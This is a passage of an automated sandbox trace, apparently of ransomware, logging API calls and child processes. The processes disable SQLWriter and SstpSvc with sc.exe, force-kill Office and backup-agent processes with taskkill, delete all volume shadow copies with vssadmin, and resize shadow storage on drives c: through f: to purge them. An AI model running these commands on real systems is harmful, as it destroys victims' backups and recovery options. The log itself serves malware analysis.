[0098.896] _wcsicmp (_String1="config", _String2="config") returned 0 [0098.897] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x244500 [0098.900] _wcsicmp (_String1="start=", _String2="type=") returned -1 [0098.900] _wcsicmp (_String1="start=", _String2="start=") returned 0 [0098.900] _wcsicmp (_String1="disabled", _String2="boot") returned 2 [0098.900] _wcsicmp (_String1="disabled", _String2="system") returned -15 [0098.900] _wcsicmp (_String1="disabled", _String2="auto") returned 3 [0098.900] _wcsicmp (_String1="disabled", _String2="demand") returned 4 [0098.900] _wcsicmp (_String1="disabled", _String2="disabled") returned 0 [0098.900] OpenServiceW (hSCManager=0x244500, lpServiceName="SQLTELEMETRY$ECWDB2", dwDesiredAccess=0x3) returned 0x0 [0098.900] GetLastError () returned 0x424 [0098.900] _itow (in: _Dest=0x424, _Radix=1112136 | out: _Dest=0x424) returned="1060" [0098.900] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff8eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0098.902] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f800, nSize=0x2, Arguments=0x10f830 | out: lpBuffer="轰$") returned 0x62 [0098.902] GetFileType (hFile=0x1f8) returned 0x3 [0098.902] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x249050 [0098.902] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x249050, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0098.902] WriteFile (in: hFile=0x1f8, lpBuffer=0x249050*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f7a8, lpOverlapped=0x0 | out: lpBuffer=0x249050*, lpNumberOfBytesWritten=0x10f7a8*=0x62, lpOverlapped=0x0) returned 1 [0098.902] LocalFree (hMem=0x249050) returned 0x0 [0098.902] LocalFree (hMem=0x248f70) returned 0x0 [0098.902] LocalFree (hMem=0x0) returned 0x0 [0098.903] CloseServiceHandle (hSCObject=0x244500) returned 1 [0098.904] exit (_Code=1060) Thread: id = 73 os_tid = 0xf48 Process: id = "16" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x5aa84000" os_pid = "0xf4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"sc.exe\" config SQLWriter start= disabled" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0xf50 [0098.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fa30 | out: lpSystemTimeAsFileTime=0x28fa30*(dwLowDateTime=0xfe8d7fa0, dwHighDateTime=0x1d5eccb)) [0098.963] GetCurrentProcessId () returned 0xf4c [0098.963] GetCurrentThreadId () returned 0xf50 [0098.963] GetTickCount () returned 0x11536e9 [0098.963] QueryPerformanceCounter (in: lpPerformanceCount=0x28fa38 | out: lpPerformanceCount=0x28fa38*=17980478099) returned 1 [0098.964] GetModuleHandleW (lpModuleName=0x0) returned 0xffd90000 [0098.964] __set_app_type (_Type=0x1) [0098.964] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd97228) returned 0x0 [0098.965] __wgetmainargs (in: _Argc=0xffd9b604, _Argv=0xffd9b610, _Env=0xffd9b608, _DoWildCard=0, _StartInfo=0xffd9b050 | out: _Argc=0xffd9b604, _Argv=0xffd9b610, _Env=0xffd9b608) returned 0 [0098.965] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.967] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.967] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.967] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0098.967] _wcsicmp (_String1="config", _String2="query") returned -14 [0098.967] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0098.967] _wcsicmp (_String1="config", _String2="start") returned -16 [0098.967] _wcsicmp (_String1="config", _String2="pause") returned -13 [0098.967] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0098.967] _wcsicmp (_String1="config", _String2="control") returned -14 [0098.967] _wcsicmp (_String1="config", _String2="continue") returned -14 [0098.967] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.967] _wcsicmp (_String1="config", _String2="config") returned 0 [0098.967] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3b44e0 [0098.971] _wcsicmp (_String1="start=", _String2="type=") returned -1 [0098.971] _wcsicmp (_String1="start=", _String2="start=") returned 0 [0098.971] _wcsicmp (_String1="disabled", _String2="boot") returned 2 [0098.971] _wcsicmp (_String1="disabled", _String2="system") returned -15 [0098.971] _wcsicmp (_String1="disabled", _String2="auto") returned 3 [0098.971] _wcsicmp (_String1="disabled", _String2="demand") returned 4 [0098.971] _wcsicmp (_String1="disabled", _String2="disabled") returned 0 [0098.971] OpenServiceW (hSCManager=0x3b44e0, lpServiceName="SQLWriter", dwDesiredAccess=0x3) returned 0x0 [0098.971] GetLastError () returned 0x424 [0098.971] _itow (in: _Dest=0x424, _Radix=2684776 | out: _Dest=0x424) returned="1060" [0098.971] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd9b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0098.973] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f720, nSize=0x2, Arguments=0x28f750 | out: lpBuffer="轐;") returned 0x62 [0098.973] GetFileType (hFile=0x1f8) returned 0x3 [0098.973] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3b9030 [0098.973] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3b9030, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n;", lpUsedDefaultChar=0x0) returned 98 [0098.973] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b9030*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f6c8, lpOverlapped=0x0 | out: lpBuffer=0x3b9030*, lpNumberOfBytesWritten=0x28f6c8*=0x62, lpOverlapped=0x0) returned 1 [0098.974] LocalFree (hMem=0x3b9030) returned 0x0 [0098.974] LocalFree (hMem=0x3b8f50) returned 0x0 [0098.974] LocalFree (hMem=0x0) returned 0x0 [0098.974] CloseServiceHandle (hSCObject=0x3b44e0) returned 1 [0098.975] exit (_Code=1060) Thread: id = 75 os_tid = 0xf60 Process: id = "17" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x55d8d000" os_pid = "0xf64" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"sc.exe\" config SstpSvc start= disabled" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0xf68 [0099.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f9f0 | out: lpSystemTimeAsFileTime=0x26f9f0*(dwLowDateTime=0xfe996680, dwHighDateTime=0x1d5eccb)) [0099.046] GetCurrentProcessId () returned 0xf64 [0099.046] GetCurrentThreadId () returned 0xf68 [0099.046] GetTickCount () returned 0x1153737 [0099.046] QueryPerformanceCounter (in: lpPerformanceCount=0x26f9f8 | out: lpPerformanceCount=0x26f9f8*=17988786970) returned 1 [0099.048] GetModuleHandleW (lpModuleName=0x0) returned 0xff920000 [0099.048] __set_app_type (_Type=0x1) [0099.048] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff927228) returned 0x0 [0099.048] __wgetmainargs (in: _Argc=0xff92b604, _Argv=0xff92b610, _Env=0xff92b608, _DoWildCard=0, _StartInfo=0xff92b050 | out: _Argc=0xff92b604, _Argv=0xff92b610, _Env=0xff92b608) returned 0 [0099.049] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0099.051] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0099.051] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0099.051] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0099.051] _wcsicmp (_String1="config", _String2="query") returned -14 [0099.051] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0099.051] _wcsicmp (_String1="config", _String2="start") returned -16 [0099.051] _wcsicmp (_String1="config", _String2="pause") returned -13 [0099.051] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0099.052] _wcsicmp (_String1="config", _String2="control") returned -14 [0099.052] _wcsicmp (_String1="config", _String2="continue") returned -14 [0099.052] _wcsicmp (_String1="config", _String2="stop") returned -16 [0099.052] _wcsicmp (_String1="config", _String2="config") returned 0 [0099.052] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xa4500 [0099.056] _wcsicmp (_String1="start=", _String2="type=") returned -1 [0099.056] _wcsicmp (_String1="start=", _String2="start=") returned 0 [0099.056] _wcsicmp (_String1="disabled", _String2="boot") returned 2 [0099.056] _wcsicmp (_String1="disabled", _String2="system") returned -15 [0099.056] _wcsicmp (_String1="disabled", _String2="auto") returned 3 [0099.056] _wcsicmp (_String1="disabled", _String2="demand") returned 4 [0099.056] _wcsicmp (_String1="disabled", _String2="disabled") returned 0 [0099.056] OpenServiceW (hSCManager=0xa4500, lpServiceName="SstpSvc", dwDesiredAccess=0x3) returned 0x0 [0099.057] GetLastError () returned 0x5 [0099.057] _itow (in: _Dest=0x5, _Radix=2553640 | out: _Dest=0x5) returned="5" [0099.057] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0xff92b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0099.058] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f6e0, nSize=0x2, Arguments=0x26f710 | out: lpBuffer="轀\n") returned 0x33 [0099.059] GetFileType (hFile=0x1f8) returned 0x3 [0099.059] LocalAlloc (uFlags=0x0, uBytes=0x66) returned 0xa8fc0 [0099.059] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 5:\r\n\r\nAccess is denied.\r\n\r\n", cchWideChar=51, lpMultiByteStr=0xa8fc0, cbMultiByte=102, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 5:\r\n\r\nAccess is denied.\r\n\r\n", lpUsedDefaultChar=0x0) returned 51 [0099.059] WriteFile (in: hFile=0x1f8, lpBuffer=0xa8fc0*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x26f688, lpOverlapped=0x0 | out: lpBuffer=0xa8fc0*, lpNumberOfBytesWritten=0x26f688*=0x33, lpOverlapped=0x0) returned 1 [0099.061] LocalFree (hMem=0xa8fc0) returned 0x0 [0099.061] LocalFree (hMem=0xa8f40) returned 0x0 [0099.061] LocalFree (hMem=0x0) returned 0x0 [0099.061] CloseServiceHandle (hSCObject=0xa4500) returned 1 [0099.063] exit (_Code=5) Thread: id = 77 os_tid = 0xf78 Process: id = "18" image_name = "taskkill.exe" filename = "c:\\windows\\system32\\taskkill.exe" page_root = "0x5c097000" os_pid = "0xf7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"taskkill.exe\" /IM mspub.exe /F" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0xf80 Thread: id = 79 os_tid = 0xf90 Thread: id = 80 os_tid = 0xf94 Thread: id = 81 os_tid = 0xf98 Thread: id = 82 os_tid = 0xf9c Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76927000" os_pid = "0x364" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 83 os_tid = 0xe5c Thread: id = 84 os_tid = 0xe58 Thread: id = 85 os_tid = 0xe4c Thread: id = 86 os_tid = 0xe48 Thread: id = 87 os_tid = 0xe44 Thread: id = 88 os_tid = 0xe40 Thread: id = 89 os_tid = 0xe3c Thread: id = 90 os_tid = 0xe38 Thread: id = 91 os_tid = 0xe34 Thread: id = 92 os_tid = 0xe30 Thread: id = 93 os_tid = 0xe00 Thread: id = 94 os_tid = 0xdfc Thread: id = 95 os_tid = 0xdf8 Thread: id = 96 os_tid = 0xd88 Thread: id = 97 os_tid = 0xd2c Thread: id = 98 os_tid = 0xc6c Thread: id = 99 os_tid = 0xc68 Thread: id = 100 os_tid = 0xc5c Thread: id = 101 os_tid = 0xc58 Thread: id = 102 os_tid = 0x5e4 Thread: id = 103 os_tid = 0x7f0 Thread: id = 104 os_tid = 0x42c Thread: id = 105 os_tid = 0x788 Thread: id = 106 os_tid = 0x734 Thread: id = 107 os_tid = 0x130 Thread: id = 108 os_tid = 0x6fc Thread: id = 109 os_tid = 0x6e8 Thread: id = 110 os_tid = 0x6dc Thread: id = 111 os_tid = 0x6d0 Thread: id = 112 os_tid = 0x6c8 Thread: id = 113 os_tid = 0x6b4 Thread: id = 114 os_tid = 0x49c Thread: id = 115 os_tid = 0x450 Thread: id = 116 os_tid = 0x444 Thread: id = 117 os_tid = 0x424 Thread: id = 118 os_tid = 0x420 Thread: id = 119 os_tid = 0x41c Thread: id = 120 os_tid = 0x404 Thread: id = 121 os_tid = 0x154 Thread: id = 122 os_tid = 0x3f4 Thread: id = 123 os_tid = 0x3e8 Thread: id = 124 os_tid = 0x3dc Thread: id = 125 os_tid = 0x390 Thread: id = 126 os_tid = 0x384 Thread: id = 127 os_tid = 0x380 Thread: id = 128 os_tid = 0x370 Thread: id = 129 os_tid = 0x368 Thread: id = 186 os_tid = 0x698 Thread: id = 187 os_tid = 0x3b8 Thread: id = 188 os_tid = 0xbac Thread: id = 189 os_tid = 0x324 Thread: id = 190 os_tid = 0x718 Thread: id = 191 os_tid = 0x4e8 Thread: id = 192 os_tid = 0x740 Thread: id = 193 os_tid = 0xda8 Thread: id = 194 os_tid = 0x6f0 Thread: id = 195 os_tid = 0xb68 Thread: id = 196 os_tid = 0x7e0 Thread: id = 236 os_tid = 0xe94 Thread: id = 243 os_tid = 0xed4 Thread: id = 244 os_tid = 0xee0 Process: id = "20" image_name = "taskkill.exe" filename = "c:\\windows\\system32\\taskkill.exe" page_root = "0x5a6a0000" os_pid = "0xfac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"taskkill.exe\" /IM mydesktopqos.exe /F" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0xfb0 Thread: id = 131 os_tid = 0xfc0 Thread: id = 132 os_tid = 0xfc4 Thread: id = 133 os_tid = 0xfc8 Thread: id = 134 os_tid = 0xfcc Process: id = "21" image_name = "taskkill.exe" filename = "c:\\windows\\system32\\taskkill.exe" page_root = "0x4fca9000" os_pid = "0xfd4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"taskkill.exe\" /IM mydesktopservice.exe /F" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 135 os_tid = 0xfd8 Thread: id = 136 os_tid = 0xfe8 Thread: id = 137 os_tid = 0xfec Thread: id = 138 os_tid = 0xff0 Thread: id = 139 os_tid = 0xff4 Process: id = "22" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x5c5b3000" os_pid = "0xffc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" Delete Shadows /all /quiet" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 140 os_tid = 0xc30 Thread: id = 141 os_tid = 0xc90 Thread: id = 142 os_tid = 0xca8 Thread: id = 143 os_tid = 0xcb4 Thread: id = 144 os_tid = 0xcb8 Process: id = "23" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x52fbc000" os_pid = "0xcc8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 145 os_tid = 0xcbc Thread: id = 146 os_tid = 0xb48 Process: id = "24" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x624c5000" os_pid = "0x7b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 147 os_tid = 0x180 Thread: id = 148 os_tid = 0x158 Process: id = "25" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x504ce000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 149 os_tid = 0x214 Thread: id = 150 os_tid = 0x504 Process: id = "26" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x52cd9000" os_pid = "0x52c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 151 os_tid = 0x43c Thread: id = 152 os_tid = 0x670 Process: id = "27" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4f9e2000" os_pid = "0x440" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 153 os_tid = 0x5ec Thread: id = 154 os_tid = 0x83c Process: id = "28" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x517eb000" os_pid = "0x84c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 155 os_tid = 0x85c Thread: id = 156 os_tid = 0x89c Process: id = "29" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4d0f6000" os_pid = "0x8ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 157 os_tid = 0x8bc Thread: id = 158 os_tid = 0x8fc Process: id = "30" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3c3ff000" os_pid = "0x90c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT 